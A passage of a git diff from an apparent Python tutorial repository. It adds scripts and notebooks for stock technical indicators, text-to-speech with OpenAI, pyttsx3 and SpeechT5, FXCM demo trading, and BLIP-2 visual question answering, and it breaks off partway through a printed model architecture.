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\n"
+ },
+ "metadata": {
+ "needs_background": "light"
+ }
+ }
+ ],
+ "source": [
+ "plt.plot(stocks[\"macd\"], color=\"b\", label=\"MACD\")\n",
+ "plt.plot(stocks[\"macds\"], color=\"g\", label=\"Signal Line\")\n",
+ "plt.legend(loc=\"lower right\")\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": []
+ }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/technical_indicators.py b/machine-learning/technical-indicators/technical_indicators.py
new file mode 100644
index 00000000..d95c0328
--- /dev/null
+++ b/machine-learning/technical-indicators/technical_indicators.py
@@ -0,0 +1,71 @@
+# To add a new cell, type '# %%'
+# To add a new markdown cell, type '# %% [markdown]'
+
+# %%
+import yfinance as yf
+import pandas_datareader as pdr
+from mpl_finance import candlestick_ohlc
+import matplotlib.pyplot as plt
+
+
+# %%
+# import SPY stock price
+df_spy = pdr.get_data_yahoo("SPY", start="2019-01-01", end="2019-09-30")
+# import AAPL stock price
+df_aapl = pdr.get_data_yahoo("AAPL", start="2019-01-01", end="2019-09-30")
+
+
+# %%
+df_spy.head()
+
+
+# %%
+df_aapl[["Open", "High", "Low", "Close"]].plot()
+plt.show()
+
+
+# %%
+fig = plt.figure(figsize=(10, 10))
+ax = plt.subplot()
+
+plot_data = []
+for i in range(150, len(df_aapl)):
+ row = [
+ i,
+ df_aapl.Open.iloc[i],
+ df_aapl.High.iloc[i],
+ df_aapl.Low.iloc[i],
+ df_aapl.Close.iloc[i],
+ ]
+ plot_data.append(row)
+candlestick_ohlc(ax, plot_data)
+plt.show()
+
+
+# %%
+from stockstats import StockDataFrame
+stocks = StockDataFrame.retype(df_aapl[["Open", "Close", "High", "Low", "Volume"]])
+
+
+# %%
+plt.plot(stocks["close_10_sma"], color="b", label="SMA")
+plt.plot(df_aapl.Close, color="g", label="Close prices")
+plt.legend(loc="lower right")
+plt.show()
+
+
+# %%
+plt.plot(stocks["close_10_sma"], color="b", label="SMA") # plotting SMA
+plt.plot(stocks["close_10_ema"], color="k", label="EMA")
+plt.plot(df_aapl.Close, color="g", label="Close prices") # plotting close prices
+plt.legend(loc="lower right")
+plt.show()
+
+
+# %%
+plt.plot(stocks["macd"], color="b", label="MACD")
+plt.plot(stocks["macds"], color="g", label="Signal Line")
+plt.legend(loc="lower right")
+plt.show()
+
+
diff --git a/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3
new file mode 100644
index 00000000..45d11628
Binary files /dev/null and b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 differ
diff --git a/machine-learning/text-to-speech/README.md b/machine-learning/text-to-speech/README.md
index c9b5b640..4786b024 100644
--- a/machine-learning/text-to-speech/README.md
+++ b/machine-learning/text-to-speech/README.md
@@ -2,3 +2,5 @@
- `pip3 install -r requirements.txt`
- To convert text to speech online using Google API, use `tts_google.py`
- To use offline engines in your platform, consider using `tts_pyttsx3.py`
+- To use the OpenAI API, use `tts_openai.py`
+- To use transformers, use `tts_transformers.py`
diff --git a/machine-learning/text-to-speech/hello.mp3 b/machine-learning/text-to-speech/hello.mp3
index e1a7eda6..5cef735b 100644
Binary files a/machine-learning/text-to-speech/hello.mp3 and b/machine-learning/text-to-speech/hello.mp3 differ
diff --git a/machine-learning/text-to-speech/hola.mp3 b/machine-learning/text-to-speech/hola.mp3
index f2ae2696..eb49e3ab 100644
Binary files a/machine-learning/text-to-speech/hola.mp3 and b/machine-learning/text-to-speech/hola.mp3 differ
diff --git a/machine-learning/text-to-speech/python.mp3 b/machine-learning/text-to-speech/python.mp3
new file mode 100644
index 00000000..78632e8b
Binary files /dev/null and b/machine-learning/text-to-speech/python.mp3 differ
diff --git a/machine-learning/text-to-speech/requirements b/machine-learning/text-to-speech/requirements
deleted file mode 100644
index b4362d6e..00000000
--- a/machine-learning/text-to-speech/requirements
+++ /dev/null
@@ -1,3 +0,0 @@
-pyttsx3
-gTTS
-playsound
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/requirements.txt b/machine-learning/text-to-speech/requirements.txt
new file mode 100644
index 00000000..7c4e99dd
--- /dev/null
+++ b/machine-learning/text-to-speech/requirements.txt
@@ -0,0 +1,8 @@
+pyttsx3
+gTTS
+playsound
+soundfile
+transformers
+datasets
+sentencepiece
+openai
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_openai.py b/machine-learning/text-to-speech/tts_openai.py
new file mode 100644
index 00000000..2087fea6
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_openai.py
@@ -0,0 +1,20 @@
+from openai import OpenAI
+
+# initialize the OpenAI API client
+api_key = "YOUR_OPENAI_API_KEY"
+client = OpenAI(api_key=api_key)
+
+# sample text to generate speech from
+text = """In his miracle year, he published four groundbreaking papers.
+These outlined the theory of the photoelectric effect, explained Brownian motion,
+introduced special relativity, and demonstrated mass-energy equivalence."""
+
+# generate speech from the text
+response = client.audio.speech.create(
+ model="tts-1", # the model to use, there is tts-1 and tts-1-hd
+ voice="nova", # the voice to use, there is alloy, echo, fable, onyx, nova, and shimmer
+ input=text, # the text to generate speech from
+ speed=1.0, # the speed of the generated speech, ranging from 0.25 to 4.0
+)
+# save the generated speech to a file
+response.stream_to_file("openai-output.mp3")
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_pyttsx3.py b/machine-learning/text-to-speech/tts_pyttsx3.py
index 29dc9bc6..c3591e85 100644
--- a/machine-learning/text-to-speech/tts_pyttsx3.py
+++ b/machine-learning/text-to-speech/tts_pyttsx3.py
@@ -30,3 +30,7 @@
engine.setProperty("voice", voices[1].id)
engine.say(text)
engine.runAndWait()
+
+# saving speech audio into a file
+engine.save_to_file(text, "python.mp3")
+engine.runAndWait()
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_transformers.py b/machine-learning/text-to-speech/tts_transformers.py
new file mode 100644
index 00000000..8ba6414e
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_transformers.py
@@ -0,0 +1,67 @@
+from transformers import SpeechT5Processor, SpeechT5ForTextToSpeech, SpeechT5HifiGan
+from datasets import load_dataset
+import torch
+import random
+import string
+import soundfile as sf
+
+device = "cuda" if torch.cuda.is_available() else "cpu"
+# load the processor
+processor = SpeechT5Processor.from_pretrained("microsoft/speecht5_tts")
+# load the model
+model = SpeechT5ForTextToSpeech.from_pretrained("microsoft/speecht5_tts").to(device)
+# load the vocoder, that is the voice encoder
+vocoder = SpeechT5HifiGan.from_pretrained("microsoft/speecht5_hifigan").to(device)
+# we load this dataset to get the speaker embeddings
+embeddings_dataset = load_dataset("Matthijs/cmu-arctic-xvectors", split="validation")
+
+# speaker ids from the embeddings dataset
+speakers = {
+ 'awb': 0, # Scottish male
+ 'bdl': 1138, # US male
+ 'clb': 2271, # US female
+ 'jmk': 3403, # Canadian male
+ 'ksp': 4535, # Indian male
+ 'rms': 5667, # US male
+ 'slt': 6799 # US female
+}
+
+def save_text_to_speech(text, speaker=None):
+ # preprocess text
+ inputs = processor(text=text, return_tensors="pt").to(device)
+ if speaker is not None:
+ # load xvector containing speaker's voice characteristics from a dataset
+ speaker_embeddings = torch.tensor(embeddings_dataset[speaker]["xvector"]).unsqueeze(0).to(device)
+ else:
+ # random vector, meaning a random voice
+ speaker_embeddings = torch.randn((1, 512)).to(device)
+ # generate speech with the models
+ speech = model.generate_speech(inputs["input_ids"], speaker_embeddings, vocoder=vocoder)
+ if speaker is not None:
+ # if we have a speaker, we use the speaker's ID in the filename
+ output_filename = f"{speaker}-{'-'.join(text.split()[:6])}.mp3"
+ else:
+ # if we don't have a speaker, we use a random string in the filename
+ random_str = ''.join(random.sample(string.ascii_letters+string.digits, k=5))
+ output_filename = f"{random_str}-{'-'.join(text.split()[:6])}.mp3"
+ # save the generated speech to a file with 16KHz sampling rate
+ sf.write(output_filename, speech.cpu().numpy(), samplerate=16000)
+ # return the filename for reference
+ return output_filename
+
+# generate speech with a US female voice
+save_text_to_speech("Python is my favorite programming language", speaker=speakers["slt"])
+# generate speech with a random voice
+save_text_to_speech("Python is my favorite programming language")
+
+# a challenging text with all speakers
+text = """In his miracle year, he published four groundbreaking papers.
+These outlined the theory of the photoelectric effect, explained Brownian motion,
+introduced special relativity, and demonstrated mass-energy equivalence."""
+
+for speaker_name, speaker in speakers.items():
+ output_filename = save_text_to_speech(text, speaker)
+ print(f"Saved {output_filename}")
+# random speaker
+output_filename = save_text_to_speech(text)
+print(f"Saved {output_filename}")
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/README.md b/machine-learning/trading-with-fxcm/README.md
new file mode 100644
index 00000000..749bae44
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/README.md
@@ -0,0 +1 @@
+# [Algorithmic Trading with FXCM Broker in Python](https://www.thepythoncode.com/article/trading-with-fxcm-broker-using-fxcmpy-library-in-python)
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/requirements.txt b/machine-learning/trading-with-fxcm/requirements.txt
new file mode 100644
index 00000000..4febf2c6
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/requirements.txt
@@ -0,0 +1,2 @@
+fxcmpy
+python-socketio
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/trading.ipynb b/machine-learning/trading-with-fxcm/trading.ipynb
new file mode 100644
index 00000000..ed6dea77
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/trading.ipynb
@@ -0,0 +1,105 @@
+{
+ "metadata": {
+ "language_info": {
+ "codemirror_mode": {
+ "name": "ipython",
+ "version": 3
+ },
+ "file_extension": ".py",
+ "mimetype": "text/x-python",
+ "name": "python",
+ "nbconvert_exporter": "python",
+ "pygments_lexer": "ipython3",
+ "version": 3
+ },
+ "orig_nbformat": 2,
+ "kernelspec": {
+ "name": "python_defaultSpec_1596535581821",
+ "display_name": "Python 3.6.6 64-bit"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2,
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "from fxcmpy import fxcmpy\n",
+ "\n",
+ "# generate this once you create your demo account\n",
+ "# this is fake token, just for demonstration\n",
+ "ACCESS_TOKEN = \"8438834e8edaff70ca3db0088a8d6c5c37f51279\""
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "tags": []
+ },
+ "outputs": [],
+ "source": [
+ "try:\n",
+ " fxcm_con = fxcmpy(access_token=ACCESS_TOKEN, server=\"demo\")\n",
+ " print(\"Is connected:\", fxcm_con.is_connected())\n",
+ "\n",
+ "except Exception as e:\n",
+ " print(e)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "tags": []
+ },
+ "outputs": [],
+ "source": [
+ "fxcm_con.open_trade(symbol=\"US30\",amount=1,is_buy=True,time_in_force=\"GTC\",order_type=\"AtMarket\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "tags": []
+ },
+ "outputs": [],
+ "source": [
+ "trade_id = fxcm_con.get_open_trade_ids()[0]\n",
+ "print(\"Closing trade:\", trade_id)\n",
+ "fxcm_con.close_trade(trade_id=trade_id,amount=1)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "tags": []
+ },
+ "outputs": [],
+ "source": [
+ "fxcm_con.open_trade(symbol=\"US30\",amount=1,is_buy=True,time_in_force=\"GTC\",order_type=\"AtMarket\",is_in_pips=True,limit=15,stop=-50)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "fxcm_con.close()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": []
+ }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/trading.py b/machine-learning/trading-with-fxcm/trading.py
new file mode 100644
index 00000000..48318975
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/trading.py
@@ -0,0 +1,23 @@
+from fxcmpy import fxcmpy
+
+# generate this once you create your demo account
+# this is fake token, just for demonstration
+ACCESS_TOKEN = "8438834e8edaff70ca3db0088a8d6c5c37f51279"
+
+try:
+ fxcm_con = fxcmpy(access_token=ACCESS_TOKEN, server="demo")
+ print("Is connected:", fxcm_con.is_connected())
+
+except Exception as e:
+ print(e)
+
+
+fxcm_con.open_trade(symbol="US30",amount=1,is_buy=True,time_in_force="GTC",order_type="AtMarket")
+
+trade_id = fxcm_con.get_open_trade_ids()[0]
+print("Closing trade:", trade_id)
+fxcm_con.close_trade(trade_id=trade_id,amount=1)
+
+fxcm_con.open_trade(symbol="US30",amount=1,is_buy=True,time_in_force="GTC",order_type="AtMarket",is_in_pips=True,limit=15,stop=-50)
+
+fxcm_con.close()
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/000000007226.jpg b/machine-learning/visual-question-answering/000000007226.jpg
new file mode 100644
index 00000000..56932377
Binary files /dev/null and b/machine-learning/visual-question-answering/000000007226.jpg differ
diff --git a/machine-learning/visual-question-answering/README.md b/machine-learning/visual-question-answering/README.md
new file mode 100644
index 00000000..a88ef88c
--- /dev/null
+++ b/machine-learning/visual-question-answering/README.md
@@ -0,0 +1 @@
+# [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/Running_BLIP2.ipynb b/machine-learning/visual-question-answering/Running_BLIP2.ipynb
new file mode 100644
index 00000000..5b880995
--- /dev/null
+++ b/machine-learning/visual-question-answering/Running_BLIP2.ipynb
@@ -0,0 +1,912 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": 2,
+ "id": "2d87ad23-587a-4b20-8121-1d1748ac301a",
+ "metadata": {},
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Collecting transformers\n",
+ " Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)\n",
+ "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.2/7.2 MB\u001b[0m \u001b[31m50.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m00:01\u001b[0m\n",
+ "\u001b[?25hCollecting accelerate\n",
+ " Downloading accelerate-0.20.3-py3-none-any.whl (227 kB)\n",
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+ "Installing collected packages: tokenizers, safetensors, tqdm, regex, fsspec, huggingface-hub, transformers, accelerate\n",
+ "Successfully installed accelerate-0.20.3 fsspec-2023.6.0 huggingface-hub-0.15.1 regex-2023.6.3 safetensors-0.3.1 tokenizers-0.13.3 tqdm-4.65.0 transformers-4.30.2\n",
+ "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\n",
+ "\u001b[0m"
+ ]
+ }
+ ],
+ "source": [
+ "!pip install transformers accelerate"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 3,
+ "id": "52e4776c-8820-4ee6-9ae4-9db51e2ed365",
+ "metadata": {},
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "device(type='cuda', index=0)"
+ ]
+ },
+ "execution_count": 3,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "import requests\n",
+ "from PIL import Image\n",
+ "from transformers import Blip2Processor, Blip2ForConditionalGeneration\n",
+ "import torch\n",
+ "import os\n",
+ "\n",
+ "device = torch.device(\"cuda\", 0)\n",
+ "device"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 4,
+ "id": "e4ad6102-160e-487d-99c0-da50a52a5e4e",
+ "metadata": {},
+ "outputs": [
+ {
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+ ]
+ },
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+ },
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+ ]
+ },
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+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "processor = Blip2Processor.from_pretrained(\"Salesforce/blip2-opt-2.7b\")\n",
+ "model = Blip2ForConditionalGeneration.from_pretrained(\"Salesforce/blip2-opt-2.7b\", torch_dtype=torch.float16)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 5,
+ "id": "2d87ea9b-a43c-4585-965c-03b3919cceaf",
+ "metadata": {},
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "Blip2ForConditionalGeneration(\n",
+ " (vision_model): Blip2VisionModel(\n",
+ " (embeddings): Blip2VisionEmbeddings(\n",
+ " (patch_embedding): Conv2d(3, 1408, kernel_size=(14, 14), stride=(14, 14))\n",
+ " )\n",
+ " (encoder): Blip2Encoder(\n",
+ " (layers): ModuleList(\n",
+ " (0-38): 39 x Blip2EncoderLayer(\n",
+ " (self_attn): Blip2Attention(\n",
+ " (dropout): Dropout(p=0.0, inplace=False)\n",
+ " (qkv): Linear(in_features=1408, out_features=4224, bias=True)\n",
+ " (projection): Linear(in_features=1408, out_features=1408, bias=True)\n",
+ " )\n",
+ " (layer_norm1): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+ " (mlp): Blip2MLP(\n",
+ " (activation_fn): GELUActivation()\n",
+ " (fc1): Linear(in_features=1408, out_features=6144, bias=True)\n",
+ " (fc2): Linear(in_features=6144, out_features=1408, bias=True)\n",
+ " )\n",
+ " (layer_norm2): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+ " )\n",
+ " )\n",
+ " )\n",
+ " (post_layernorm): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+ " )\n",
+ " (qformer): Blip2QFormerModel(\n",
+ " (layernorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " (encoder): Blip2QFormerEncoder(\n",
+ " (layer): ModuleList(\n",
+ " (0): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (crossattention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (1): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (2): Blip2QFormerLayer(\n",
+ " (attention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (crossattention): Blip2QFormerAttention(\n",
+ " (attention): Blip2QFormerMultiHeadAttention(\n",
+ " (query): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " (output): Blip2QFormerSelfOutput(\n",
+ " (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (intermediate_query): Blip2QFormerIntermediate(\n",
+ " (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+ " (intermediate_act_fn): GELUActivation()\n",
+ " )\n",
+ " (output_query): Blip2QFormerOutput(\n",
+ " (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+ " (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+ " (dropout): Dropout(p=0.1, inplace=False)\n",
+ " )\n",
+ " )\n",
+ " (3): Blip2QFormerLayer(\n",
